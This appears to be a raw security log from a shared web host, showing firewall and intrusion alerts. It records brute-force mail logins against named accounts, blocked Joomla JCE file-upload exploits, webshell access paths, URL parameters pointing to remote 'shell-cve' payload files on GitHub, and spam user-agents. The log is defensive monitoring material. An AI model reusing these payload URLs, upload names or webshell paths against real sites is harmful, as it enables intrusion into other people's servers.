abuser: 68.7.114.69
country_id: 6252001
description:
2026-07-08 08:31:48 dovecot_login authenticator failed for H=ip68-7-114-69.sd.sd.cox.net ([197.219.208.58]) [68.7.114.69]:40681: 535 Incorrect authentication data (set_id=khalid)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 217.154.79.244
country_id: 2921044
domain: fefkadirectorsunion.com
description:
IM360 WAF: Bad file extension||RSV:8.26||T:APACHE||MVN:REQUEST_FILENAME||MV:/mailto:fefkadirectors@gmail.com||User:fefkadirectors||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.142.184.55
country_id: 1210997
description:
2026-07-08 08:31:02 dovecot_login authenticator failed for H=([45.178.227.128]) [103.142.184.55]:46740: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 114.30.223.119
country_id: 1835841
description:
2026-07-08 08:31:33 dovecot_login authenticator failed for H=(netacc-gpn-5-42-158.pool.yettel.hu) [114.30.223.119]:49031: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: modsec
rule: 33331
name: IM360 WAF: Attempt to upload malware
abuser: 125.103.213.61
country_id: 1861060
domain: keralapeople.com
description:
IM360 WAF: Attempt to upload malware||Action:||Scan duration:853631||Sizes:177944||Combined size:177944||User:keralapeople||WPU:||Filename:adminfuns.php||Scanned:/tmp//20260708-083348-ak2-FEikh5nmJzIanU2fZAAAAVU-file-uNRzEE||SC:/home/keralapeople/public_html/admin.php||RSV:8.26||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 43.224.136.197
country_id: 1269750
description:
[2026-07-08 08:35:31 +0530] info [whostmgrd] 43.224.136.197 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 62.60.130.228
country_id: 130758
domain: kallanigroup.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.26||T:APACHE||MV:/images/images/cache.php||SC:/home/kallanigroup/public_html/images||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.99.181.123
country_id: 2661886
description:
2026-07-08 08:40:14 dovecot_login authenticator failed for H=([98.170.57.236]) [65.99.181.123]:45099: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.169.207.93
country_id: 1269750
description:
2026-07-08 08:42:38 dovecot_login authenticator failed for H=([68.71.240.212]) [122.169.207.93]:6116: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.80.184.78
country_id: 6252001
description:
2026-07-08 08:42:52 dovecot_login authenticator failed for H=([166.145.176.168]) [50.80.184.78]:39282: 535 Incorrect authentication data (set_id=mbt)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 79.136.8.69
country_id: 2661886
description:
2026-07-08 08:47:25 dovecot_login authenticator failed for H=h-79-136-8-69.a463.priv.bahnhof.se (110-25-109-52.adsl.fetnet.net) [79.136.8.69]:39040: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.123.94.66
country_id: 1269750
description:
2026-07-08 08:48:13 dovecot_login authenticator failed for H=([183.6.44.239]) [27.123.94.66]:58390: 535 Incorrect authentication data (set_id=cil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.171.53.82
country_id: 1733045
description:
2026-07-08 08:49:12 dovecot_login authenticator failed for H=(nsg-corporate-13.147.187.122.airtel.in) [183.171.53.82]:53102: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.214.10.178
country_id: 2245662
description:
2026-07-08 08:49:31 dovecot_login authenticator failed for H=([142.54.228.195]) [41.214.10.178]:33918: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.148.186
country_id: 1733045
description:
2026-07-08 08:54:02 dovecot_login authenticator failed for H=([117.32.132.170]) [49.124.148.186]:44668: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.223.190.179
country_id: 660013
description:
2026-07-08 08:54:13 dovecot_login authenticator failed for H=dsl-hkibng42-50dfbe-179.dhcp.inet.fi ([174.64.199.87]) [80.223.190.179]:49034: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.86.176.134
country_id: 1835841
description:
2026-07-08 08:57:24 dovecot_login authenticator failed for H=(syn-174-105-015-219.res.spectrum.com) [220.86.176.134]:55788: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 93.241.232.14
country_id: 2921044
description:
2026-07-08 08:57:33 dovecot_login authenticator failed for H=p5df1e80e.dip0.t-ipconnect.de ([211.238.237.254]) [93.241.232.14]:33181: 535 Incorrect authentication data (set_id=corporate)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 23.108.46.101
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"http://business.theeveningleader.com/theeveningleader/markets/article/abnewswire-2026-5-27-paver-cleaning-and-surface-maintenance-updates-released-by-paver-cleaning-and-sealing-pros-of-farmingville-for-the-selden-ny-community/\">Commercial Paver cleaning</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.2.228.48
country_id: 597427
description:
2026-07-08 09:01:29 dovecot_login authenticator failed for H=static-185-2-228-48.cust.tele2.lt ([119.201.143.23]) [185.2.228.48]:54328: 535 Incorrect authentication data (set_id=nirmal)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.114.8
country_id: 1668284
description:
2026-07-08 09:01:03 dovecot_login authenticator failed for H=110-25-114-8.adsl.fetnet.net (p12.dist-aa.atl02.coloat.com) [110.25.114.8]:48217: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 205.169.39.0
country_id: 6252001
domain: metrodigitals.com
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/150.0.0.0 Safari/537.36||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 149.34.191.39
country_id: 2635167
description:
2026-07-08 09:06:26 dovecot_login authenticator failed for H=([115.245.172.214]) [149.34.191.39]:53650: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 208.69.161.214
country_id: 6252001
description:
2026-07-08 09:06:39 dovecot_login authenticator failed for H=([101.13.4.120]) [208.69.161.214]:58538: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.205.37.29
country_id: 1819730
domain: combinations.in
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.26||T:APACHE||MV:/wp-admin/images/index.php||SC:/home/combinations/public_html/wp-admin||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.205.37.29
country_id: 1819730
domain: combinations.in
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.26||T:APACHE||MV:/assets/images/doc.php||SC:/home/combinations/public_html/assets||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 107.173.185.49
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"http://yedhod18.com/catalog/vids-thai/\">\xe0\xb8\xab\xe0\xb8\xb5\xe0\xb9\x83\xe0\xb8\xab\xe0\xb8\xa1\xe0\xb9\x88</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.122.37.97
country_id: 2635167
description:
2026-07-08 09:19:57 dovecot_login authenticator failed for H=([192.111.139.161]) [188.122.37.97]:53212: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.174.49
country_id: 99237
description:
2026-07-08 09:20:15 dovecot_login authenticator failed for H=([49.124.152.208]) [65.20.174.49]:56984: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.147.118
country_id: 1733045
description:
2026-07-08 09:23:23 dovecot_login authenticator failed for H=(p5df1e80e.dip0.t-ipconnect.de) [49.124.147.118]:49744: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 51.162.194.94
country_id: 1733045
description:
2026-07-08 09:23:48 dovecot_login authenticator failed for H=([192.252.214.22]) [51.162.194.94]:59556: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.138.166.217
country_id: 1835841
description:
2026-07-08 09:24:18 dovecot_login authenticator failed for H=([203.252.10.4]) [125.138.166.217]:37204: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.236.211.54
country_id: 2661886
description:
2026-07-08 09:24:29 dovecot_login authenticator failed for H=81-236-211-54-no2550.tbcn.telia.com (59-120-8-61.hinet-ip.hinet.net) [81.236.211.54]:60434: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: modsec
rule: 77240000
name: IM360 WAF: Protecting Joomla folder
abuser: 104.28.162.134
country_id: 3017382
domain: ogocindia.com
description:
IM360 WAF: Protecting Joomla folder||MVN:REQUEST_FILENAME||MV:/images/stories/nx82900.php||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.53.7.231
country_id: 6252001
description:
2026-07-08 09:24:54 dovecot_login authenticator failed for H=([182.210.174.66]) [64.53.7.231]:53104: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: modsec
rule: 77469916
abuser: 104.28.162.134
country_id: 3017382
domain: ogocindia.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:nx82900.php||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 104.28.162.134
country_id: 3017382
domain: ogocindia.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.26||T:APACHE||MV:/images/nx82900.php||SC:/home/ogocindia/public_html/images/nx82900.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 74.196.184.213
country_id: 6252001
description:
2026-07-08 09:26:35 dovecot_login authenticator failed for H=([49.124.149.26]) [74.196.184.213]:44799: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.55.89.5
country_id: 1269750
description:
2026-07-08 09:26:49 dovecot_login authenticator failed for H=(179.83.135.1.dynamic.adsl.gvt.net.br) [103.55.89.5]:59918: 535 Incorrect authentication data (set_id=nirmal)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 113.199.246.251
country_id: 1282988
domain: combinations.in
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:92543.combinations.in||ServerName:combinations.in||Method:metaWeblog.newPost||BlogID:1||TitleSHA:15cd630389abbece6cc025aae60b617027d198cb||Title:0xe2dec101||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 104.28.162.134
country_id: 3017382
domain: ogocindia.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.26||T:APACHE||MV:/uploads/nx82900.php||SC:/home/ogocindia/public_html/uploads||


plugin: modsec
rule: 77240000
name: IM360 WAF: Protecting Joomla folder
abuser: 104.28.162.134
country_id: 3017382
domain: ogocindia.com
description:
IM360 WAF: Protecting Joomla folder||MVN:REQUEST_FILENAME||MV:/en/images/stories/nx82900.php||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.67.246.166
country_id: 798544
description:
2026-07-08 09:32:22 dovecot_login authenticator failed for H=89-67-246-166.dynamic.play.pl ([24.249.199.9]) [89.67.246.166]:52552: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 136.35.246.152
country_id: 6252001
description:
2026-07-08 09:33:09 dovecot_login authenticator failed for H=(mission-web-hosting.com) [136.35.246.152]:52514: 535 Incorrect authentication data (set_id=khalid)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.246.47.146
country_id: 1819730
description:
2026-07-08 09:35:35 dovecot_login authenticator failed for H=146.47.246.220.static.netvigator.com ([49.124.151.72]) [220.246.47.146]:58669: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.228.242
country_id: 1036973
description:
2026-07-08 09:36:14 dovecot_login authenticator failed for H=(82-65-140-218.subs.proxad.net) [197.219.228.242]:41154: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 123.209.101.43
country_id: 2077456
description:
2026-07-08 09:36:38 dovecot_login authenticator failed for H=([95.35.50.15]) [123.209.101.43]:34788: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 68.7.114.69
country_id: 6252001
description:
2026-07-08 09:36:01 dovecot_login authenticator failed for H=ip68-7-114-69.sd.sd.cox.net ([115.95.23.226]) [68.7.114.69]:42358: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: modsec
rule: 77469916
abuser: 103.18.77.223
country_id: 1643084
domain: www.globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:nuclei-53db9b12629c7d92262d6ce693dd5592.xml.php||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.235.110
country_id: 1269750
description:
2026-07-08 09:44:39 dovecot_login authenticator failed for H=([223.100.224.75]) [128.185.235.110]:48216: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.110.176.222
country_id: 1694008
description:
2026-07-08 09:44:20 dovecot_login authenticator failed for H=(buenosnet.static.gvt.net.br) [27.110.176.222]:36841: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: modsec
rule: 77350572
name: IM360 WAF: Link shorteners usage
abuser: 84.200.33.158
country_id: 2921044
domain: travelinbh.com
description:
IM360 WAF: Link shorteners usage||MVN:ARGS:url||MV:https://raw.githubusercontent.com/skizofrenic/shell-cve/refs/heads/main//font.css||User:travelinbh||SC:/home/travelinbh/public_html/index.php||WPU:||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77350977
abuser: 84.200.33.158
country_id: 2921044
domain: travelinbh.com
description:
IM360 WAF: Joomla Page Builder CK webshell access - executable in media dir (CVE-2026-56290 / WPT-2603)||MVN:REQUEST_FILENAME||MV:/media/com_pagebuilderck/gfonts/cash.php||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77350306
name: IM360 WAF: Access to suspicious double extension endpoint
abuser: 23.180.120.135
country_id: 6252001
domain: www.jaashsupplies.com
description:
IM360 WAF: Access to suspicious double extension endpoint||MV:/tmp/jce-dumper.xml.php||WPU:||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 23.180.120.135
country_id: 6252001
domain: www.jaashsupplies.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jce-dumper.xml.php||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.217.64
country_id: 99237
description:
2026-07-08 09:49:54 dovecot_login authenticator failed for H=([70.166.167.42]) [65.20.217.64]:59224: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.7.144.60
country_id: 1605651
description:
2026-07-08 09:53:46 dovecot_login authenticator failed for H=(abts-tn-dynamic-234.38.65.182-airtelbroadband.in) [61.7.144.60]:33742: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.23.204.74
country_id: 1269750
description:
2026-07-08 09:54:20 dovecot_login authenticator failed for H=([197.219.228.242]) [125.23.204.74]:47858: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: modsec
rule: 77469916
abuser: 136.110.24.172
country_id: 1880251
domain: metrodigitals.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:file||MV:up.php||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 136.110.24.172
country_id: 1880251
domain: metrodigitals.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.26||T:APACHE||MV:/images/up.php||SC:/home/metrodigitals/public_html/images/up.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 88.255.189.50
country_id: 298795
description:
2026-07-08 09:57:32 dovecot_login authenticator failed for H=([49.124.147.253]) [88.255.189.50]:50404: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 68.225.58.59
country_id: 6252001
description:
2026-07-08 10:02:51 dovecot_login authenticator failed for H=wsip-68-225-58-59.pn.at.cox.net ([24.249.199.9]) [68.225.58.59]:57849: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.73
country_id: 1269750
description:
2026-07-08 10:03:04 dovecot_login authenticator failed for H=(ip-68-71-242-113.hosts.zerolag.com) [122.187.230.73]:50459: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 149.40.247.95
country_id: 1168579
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/about-us HTTP/1.1||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 71.229.1.186
country_id: 6252001
description:
2026-07-08 10:09:06 dovecot_login authenticator failed for H=c-71-229-1-186.hsd1.al.comcast.net ([82.162.56.186]) [71.229.1.186]:48216: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.127.42
country_id: 1269750
description:
2026-07-08 10:08:53 dovecot_login authenticator failed for H=([142.54.229.253]) [182.95.127.42]:47786: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 31.223.75.233
country_id: 298795
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://www.symbaloo.com/mix/agariounblockedschool?lang=EN\">unblocked games</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 158.140.166.105
country_id: 1643084
domain: globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:nx85651.php||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 158.140.170.36
country_id: 1643084
domain: globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:nx85651.phtml||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 158.140.170.36
country_id: 1643084
domain: globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:nx85651.php7||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.59.19.112
country_id: 298795
description:
2026-07-08 10:13:00 dovecot_login authenticator failed for H=([192.111.135.19]) [188.59.19.112]:35558: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.250.107.180
country_id: 1269750
description:
2026-07-08 10:13:41 dovecot_login authenticator failed for H=(ip-68-71-245-203.hosts.zerolag.com) [117.250.107.180]:33428: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 77318023
name: IM360 WAF: Old style account creation and modification in Joomla!
abuser: 189.164.204.15
country_id: 3996063
domain: interceptorglobal.in
description:
IM360 WAF: Old style account creation and modification in Joomla!||MVN:ARGS:view||MV:registration||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 193.148.56.148
country_id: 732800
domain: gsmex.global
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jce_rrlplt.xml.php||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 193.148.56.148
country_id: 732800
domain: gsmex.global
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/icocrmcge/fonts/fbhumto.php||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.176.21.104
country_id: 1269750
description:
2026-07-08 10:15:34 dovecot_login authenticator failed for H=([49.124.151.81]) [122.176.21.104]:33631: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 178.210.187.26
country_id: 3277605
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://www.ravencams.com/external_link/?url=https%3A//empyriononline.com%2Fproxy.php%3Flink%3Dhttps%3A%2F%2Fexyuiptv.app%2Fblog%2Ftivimate-setup%2F\">empyriononline.com</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.115.211.6
country_id: 2635167
description:
2026-07-08 10:17:56 dovecot_login authenticator failed for H=6.211.115.87.dyn.plus.net ([184.151.85.100]) [87.115.211.6]:40198: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 140.235.168.72
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://meneercasino.com/online-casino-tips/legale-online-casinos-nederland\">viagra 36</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 136.110.24.172
country_id: 1880251
domain: metrodigitals.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:up.php||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.230.109.43
country_id: 3996063
domain: www.ahsmarine.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.ahsmarine.com/products/index.html HTTP/1.1||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77350572
name: IM360 WAF: Link shorteners usage
abuser: 84.200.33.158
country_id: 2921044
domain: ibmcglobal.com
description:
IM360 WAF: Link shorteners usage||MVN:ARGS:url||MV:https://raw.githubusercontent.com/skizofrenic/shell-cve/refs/heads/main//font.css||User:ibmcglobal||SC:/home/ibmcglobal/public_html/index.php||WPU:||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 171.234.8.175
country_id: 1562822
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://wiki.mc.digitalserverhost.com/wiki/User:Latesha5681\">\xe2\x80\x9cVi\xe1\xbb\x87n Eakmat\xe2\x80\x9d</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 196.247.225.57
country_id: 2623032
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"http://yedhod18.com/\">YEDHOD18</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 196.247.225.93
country_id: 2623032
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://yedhod18.com/video-tag/%E0%B8%84%E0%B8%A5%E0%B8%B4%E0%B8%9B%E0%B8%AB%E0%B8%A5%E0%B8%B8%E0%B8%94/\">\xe0\xb8\x84\xe0\xb8\xa5\xe0\xb8\xb4\xe0\xb8\x9b\xe0\xb9\x82\xe0\xb8\x9b\xe0\xb9\x8a</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77350572
name: IM360 WAF: Link shorteners usage
abuser: 103.251.26.202
country_id: 6252001
domain: fefkadirectorsunion.com
description:
IM360 WAF: Link shorteners usage||MVN:ARGS:url||MV:https://raw.githubusercontent.com/sagsooz/fonts/refs/heads/main/font.css||User:fefkadirectors||SC:/home/fefkadirectors/public_html/index.php||WPU:||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 96.30.129.156
country_id: 6251999
description:
2026-07-08 10:51:17 dovecot_login authenticator failed for H=host-96-30-129-156.public.eastlink.ca ([49.124.154.170]) [96.30.129.156]:44088: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.130.102.172
country_id: 1835841
description:
2026-07-08 10:52:19 dovecot_login authenticator failed for H=([182.95.228.194]) [125.130.102.172]:49067: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.105.240
country_id: 1668284
description:
2026-07-08 11:01:41 dovecot_login authenticator failed for H=110-25-105-240.adsl.fetnet.net ([67.201.57.102]) [110.25.105.240]:42959: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.143.45
country_id: 99237
description:
2026-07-08 11:06:10 dovecot_login authenticator failed for H=([192.111.135.19]) [65.20.143.45]:49203: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.122.11.163
country_id: 3865483
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/component/content/article/signature-elite-series-es15?Itemid=101&catid=18 HTTP/1.1||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.168.57.31
country_id: 1269750
description:
2026-07-08 11:06:46 dovecot_login authenticator failed for H=([199.102.105.241]) [103.168.57.31]:35398: 535 Incorrect authentication data (set_id=mail)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.61.82
country_id: 1269750
description:
2026-07-08 11:07:15 dovecot_login authenticator failed for H=(40.red-81-42-225.staticip.rima-tde.net) [182.95.61.82]:42742: 535 Incorrect authentication data (set_id=mail)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 104.206.162.134
country_id: 6252001
domain: globalgroupoman.com
description:
